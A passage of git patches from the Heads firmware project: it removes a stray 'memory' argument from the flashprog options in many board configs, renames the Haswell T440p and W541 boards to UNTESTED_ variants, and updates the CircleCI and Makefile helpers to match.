BOARD_TARGETS := xx30_me_blobs diff --git a/boards/w541-maximized/w541-maximized.config b/boards/w541-maximized/w541-maximized.config index 91a95448d..881beae0f 100644 --- a/boards/w541-maximized/w541-maximized.config +++ b/boards/w541-maximized/w541-maximized.config @@ -38,7 +38,7 @@ export CONFIG_BOOTSCRIPT=/bin/gui-init export CONFIG_BOOT_REQ_HASH=n export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOARD_NAME="ThinkPad W541-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/boards/x220-hotp-maximized/x220-hotp-maximized.config b/boards/x220-hotp-maximized/x220-hotp-maximized.config index 9cb1f3eb5..33637c7d5 100644 --- a/boards/x220-hotp-maximized/x220-hotp-maximized.config +++ b/boards/x220-hotp-maximized/x220-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/boards/x220-maximized/x220-maximized.config b/boards/x220-maximized/x220-maximized.config index 28b155b09..c752635c7 100644 --- a/boards/x220-maximized/x220-maximized.config +++ b/boards/x220-maximized/x220-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS += xx20_me_blobs diff --git a/boards/x230-hotp-legacy/x230-hotp-legacy.config b/boards/x230-hotp-legacy/x230-hotp-legacy.config index 3d3a78e76..1d6233d72 100644 --- a/boards/x230-hotp-legacy/x230-hotp-legacy.config +++ b/boards/x230-hotp-legacy/x230-hotp-legacy.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config index 887bd03d7..853118fbd 100644 --- a/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config +++ b/boards/x230-hotp-maximized-fhd_edp/x230-hotp-maximized-fhd_edp.config @@ -78,7 +78,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized-eDP" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-hotp-maximized/x230-hotp-maximized.config b/boards/x230-hotp-maximized/x230-hotp-maximized.config index 2dc8af490..50042591c 100644 --- a/boards/x230-hotp-maximized/x230-hotp-maximized.config +++ b/boards/x230-hotp-maximized/x230-hotp-maximized.config @@ -80,7 +80,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config index 2139c5a59..74171f221 100644 --- a/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config +++ b/boards/x230-hotp-maximized_usb-kb/x230-hotp-maximized_usb-kb.config @@ -74,7 +74,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-hotp-maximized_usb-kb" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-legacy-flash/x230-legacy-flash.config b/boards/x230-legacy-flash/x230-legacy-flash.config index 1ffaec0d9..a581fe7bf 100644 --- a/boards/x230-legacy-flash/x230-legacy-flash.config +++ b/boards/x230-legacy-flash/x230-legacy-flash.config @@ -29,7 +29,7 @@ CONFIG_LINUX_USB=y export CONFIG_BOOTSCRIPT=/bin/xx30-flash.init export CONFIG_BOARD_NAME="ThinkPad X230-legacy-flash" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd --image bios" CONFIG_LEGACY_FLASH=y diff --git a/boards/x230-legacy/x230-legacy.config b/boards/x230-legacy/x230-legacy.config index 972b7556a..c09999903 100644 --- a/boards/x230-legacy/x230-legacy.config +++ b/boards/x230-legacy/x230-legacy.config @@ -55,7 +55,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config index f7f930bcc..ce7a66e1b 100644 --- a/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config +++ b/boards/x230-maximized-fhd_edp/x230-maximized-fhd_edp.config @@ -77,7 +77,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-maximized-eDP" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/x230-maximized/x230-maximized.config b/boards/x230-maximized/x230-maximized.config index 86c2364fd..6c2706898 100644 --- a/boards/x230-maximized/x230-maximized.config +++ b/boards/x230-maximized/x230-maximized.config @@ -68,7 +68,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad X230-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Include bits related to ivybridge ME blob download/neutering down to BUP+ROMP BOARD_TARGETS := xx30_me_blobs diff --git a/boards/z220-cmt-maximized/z220-cmt-maximized.config b/boards/z220-cmt-maximized/z220-cmt-maximized.config index c07749052..35f389015 100644 --- a/boards/z220-cmt-maximized/z220-cmt-maximized.config +++ b/boards/z220-cmt-maximized/z220-cmt-maximized.config @@ -60,7 +60,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Hewlett-Packard Z220 Convertible Minitower" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config index 57dc8cbc2..6a671c7db 100644 --- a/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_p8z77-m_pro-tpm1-maximized/UNMAINTAINED_p8z77-m_pro-tpm1-maximized.config @@ -74,7 +74,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="P8Z77-M PRO" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" #Set this option to zero out the VSCC table https://github.com/osresearch/heads/pull/1358#discussion_r1153251399 export CONFIG_ZERO_IFD_VSCC=y diff --git a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config index e1e315ffe..4b15eb2de 100644 --- a/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config +++ b/unmaintained_boards/UNMAINTAINED_t420/UNMAINTAINED_t420.config @@ -33,4 +33,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T420" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal:ich_spi_mode=hwseq --ifd --image bios" diff --git a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config index a1a88c51e..36d3511d9 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-hotp-legacy/UNMAINTAINED_t430-hotp-legacy.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-hotp-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config index ec87605ab..0f531aee0 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy-flash/UNMAINTAINED_t430-legacy-flash.config @@ -28,7 +28,7 @@ CONFIG_LINUX_USB=y export CONFIG_BOOTSCRIPT=/bin/xx30-flash.init export CONFIG_BOARD_NAME="ThinkPad T430-legacy-flash" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd --image bios" CONFIG_LEGACY_FLASH=y diff --git a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config index 45dbb1145..50c0816e7 100644 --- a/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config +++ b/unmaintained_boards/UNMAINTAINED_t430-legacy/UNMAINTAINED_t430-legacy.config @@ -56,7 +56,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T430-legacy" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal --ifd --image bios" # This board has two SPI flash chips, an 8 MB that holds the IFD, # the ME image and part of the coreboot image, and a 4 MB one that diff --git a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config index 42260781a..9159ef20b 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-hotp-maximized/UNMAINTAINED_t520-hotp-maximized.config @@ -62,7 +62,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config index 435f37583..bbd69a933 100644 --- a/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t520-maximized/UNMAINTAINED_t520-maximized.config @@ -61,7 +61,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad T520-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal:ich_spi_mode=hwseq" #Include bits related to sandybridge ME blob download/neutering down to BUP BOARD_TARGETS := xx20_me_blobs diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config index 55967765a..248f97b41 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-hotp-maximized/UNMAINTAINED_t530-dgpu-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config index 64da9a8a5..8c4b796af 100644 --- a/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_t530-dgpu-maximized/UNMAINTAINED_t530-dgpu-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad T530-dgpu-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # Make the Coreboot build depend on the following 3rd party blobs: $(build)/coreboot-$(CONFIG_COREBOOT_VERSION)/$(BOARD)/.build: \ diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config index 1b1a28e28..45076c763 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K1000m-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config index dba595406..ed4fa8b50 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K1000m-maximized/UNMAINTAINED_w530-dgpu-K1000m-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K1000m-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config index 702258260..7192d2853 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized/UNMAINTAINED_w530-dgpu-K2000m-hotp-maximized.config @@ -66,7 +66,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-hotp-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config index feb1532b6..71c0a212d 100644 --- a/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config +++ b/unmaintained_boards/UNMAINTAINED_w530-dgpu-K2000m-maximized/UNMAINTAINED_w530-dgpu-K2000m-maximized.config @@ -65,7 +65,7 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="Thinkpad W530-dgpu-K2000m-maximized" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal" # xx30-*-maximized boards require of you initially call one of the # following to have gbe.bin ifd.bin and me.bin diff --git a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config index c94ee5921..75b1369dc 100644 --- a/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config +++ b/unmaintained_boards/UNMAINTAINED_x220/UNMAINTAINED_x220.config @@ -56,4 +56,4 @@ export CONFIG_BOOT_REQ_ROLLBACK=n export CONFIG_BOOT_KERNEL_ADD="" export CONFIG_BOOT_KERNEL_REMOVE="intel_iommu=on intel_iommu=igfx_off" export CONFIG_BOARD_NAME="ThinkPad X220" -export CONFIG_FLASH_OPTIONS="flashprog memory --progress --programmer internal:ich_spi_mode=hwseq --ifd --image bios" +export CONFIG_FLASH_OPTIONS="flashprog --progress --programmer internal:ich_spi_mode=hwseq --ifd --image bios" From 3f4104d068d8ff60f0070cc9e95e8f85de99613c Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 9 Sep 2024 11:52:08 -0400 Subject: [PATCH 276/619] Haswell boards : renamed to UNTESTED_* while still built by CircleCI per new policy (not blocking tested boards from being merged and downloaded without risks of possible bricks, leading UNTESTED_ boards untested until reported tested in seperate issue and ideally a PR from board testers). Fix Haswell board HOTP variants wrongly sourcing old non-hotp variants paths through Makefile inclusion. Fixing Makefile helper Signed-off-by: Thierry Laurion --- .circleci/config.yml | 16 ++++++++-------- Makefile | 6 +++++- .../UNTESTED_t440p-hotp-maximized.config} | 2 +- .../UNTESTED_t440p-maximized.config} | 0 .../UNTESTED_w541-hotp-maximized.config} | 2 +- .../UNTESTED_w541-maximized.config} | 0 6 files changed, 15 insertions(+), 11 deletions(-) rename boards/{t440p-hotp-maximized/t440p-hotp-maximized.config => UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config} (66%) rename boards/{t440p-maximized/t440p-maximized.config => UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config} (100%) rename boards/{w541-hotp-maximized/w541-hotp-maximized.config => UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config} (66%) rename boards/{w541-maximized/w541-maximized.config => UNTESTED_w541-maximized/UNTESTED_w541-maximized.config} (100%) diff --git a/.circleci/config.yml b/.circleci/config.yml index 05d9633fc..73c4b0bae 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -432,29 +432,29 @@ workflows: - build: - name: t440p-maximized - target: t440p-maximized + name: UNTESTED_t440p-maximized + target: UNTESTED_t440p-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: t440p-hotp-maximized - target: t440p-hotp-maximized + name: UNTESTED_t440p-hotp-maximized + target: UNTESTED_t440p-hotp-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: w541-maximized - target: w541-maximized + name: UNTESTED_w541-maximized + target: UNTESTED_w541-maximized subcommand: "" requires: - x230-hotp-maximized - build: - name: w541-hotp-maximized - target: w541-hotp-maximized + name: UNTESTED_w541-hotp-maximized + target: UNTESTED_w541-hotp-maximized subcommand: "" requires: - x230-hotp-maximized diff --git a/Makefile b/Makefile index 616a2570c..e1dfba00f 100644 --- a/Makefile +++ b/Makefile @@ -794,6 +794,8 @@ modules.clean: board.move_untested_to_tested: @echo "NEW_BOARD variable will remove UNTESTED_ prefix from $(BOARD)" @NEW_BOARD=$$(echo $(BOARD) | sed 's/^UNTESTED_//'); \ + echo "changing $(BOARD) name under boards/$(BOARD)/$(BOARD).config to $${NEW_BOARD}"; \ + sed boards/$(BOARD)/$(BOARD).config 's/$(BOARD)/$${NEW_BOARD}/g'; \ echo "Renaming boards/$$BOARD/$$BOARD.config to boards/$$BOARD/$$NEW_BOARD.config"; \ mv boards/$$BOARD/$$BOARD.config boards/$$BOARD/$$NEW_BOARD.config; \ echo "Renaming boards/$$BOARD to boards/$$NEW_BOARD"; \ @@ -831,11 +833,13 @@ board.move_tested_to_untested: @echo "NEW_BOARD variable will add UNTESTED_ prefix to $(BOARD)" @NEW_BOARD=UNTESTED_$(BOARD); \ rm -rf boards/$${NEW_BOARD}; \ + echo "changing $(BOARD) name under boards/$(BOARD)/$(BOARD).config to $${NEW_BOARD}"; \ + sed boards/$(BOARD)/$(BOARD).config 's/$(BOARD)/$${NEW_BOARD}/g'; \ echo "Renaming boards/$(BOARD)/$(BOARD).config to boards/$(BOARD)/$${NEW_BOARD}.config"; \ mv boards/$(BOARD)/$(BOARD).config boards/$(BOARD)/$${NEW_BOARD}.config; \ echo "Renaming boards/$(BOARD) to boards/$${NEW_BOARD}"; \ mv boards/$(BOARD) boards/$${NEW_BOARD}; \ - echo "Replacing $(BOARD) with $${NEW_BOARD} in .circleci/config.yml"; \ + echo "Replacing $(BOARD) with $${NEW_BOARD} in .circleci/config.yml"; \ sed -i "s/$(BOARD)/$${NEW_BOARD}/g" .circleci/config.yml # Inject a GPG key into the image - this is most useful when testing in qemu, diff --git a/boards/t440p-hotp-maximized/t440p-hotp-maximized.config b/boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config similarity index 66% rename from boards/t440p-hotp-maximized/t440p-hotp-maximized.config rename to boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config index da0cd5101..a787f1315 100644 --- a/boards/t440p-hotp-maximized/t440p-hotp-maximized.config +++ b/boards/UNTESTED_t440p-hotp-maximized/UNTESTED_t440p-hotp-maximized.config @@ -1,5 +1,5 @@ # Inherit the rest from the base T440p config. -include $(pwd)/boards/t440p-maximized/t440p-maximized.config +include $(pwd)/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config CONFIG_HOTPKEY=y export CONFIG_AUTO_BOOT_TIMEOUT=5 diff --git a/boards/t440p-maximized/t440p-maximized.config b/boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config similarity index 100% rename from boards/t440p-maximized/t440p-maximized.config rename to boards/UNTESTED_t440p-maximized/UNTESTED_t440p-maximized.config diff --git a/boards/w541-hotp-maximized/w541-hotp-maximized.config b/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config similarity index 66% rename from boards/w541-hotp-maximized/w541-hotp-maximized.config rename to boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config index 204f12525..585ecd73b 100644 --- a/boards/w541-hotp-maximized/w541-hotp-maximized.config +++ b/boards/UNTESTED_w541-hotp-maximized/UNTESTED_w541-hotp-maximized.config @@ -1,5 +1,5 @@ # Inherit the rest from the base W541 config. -include 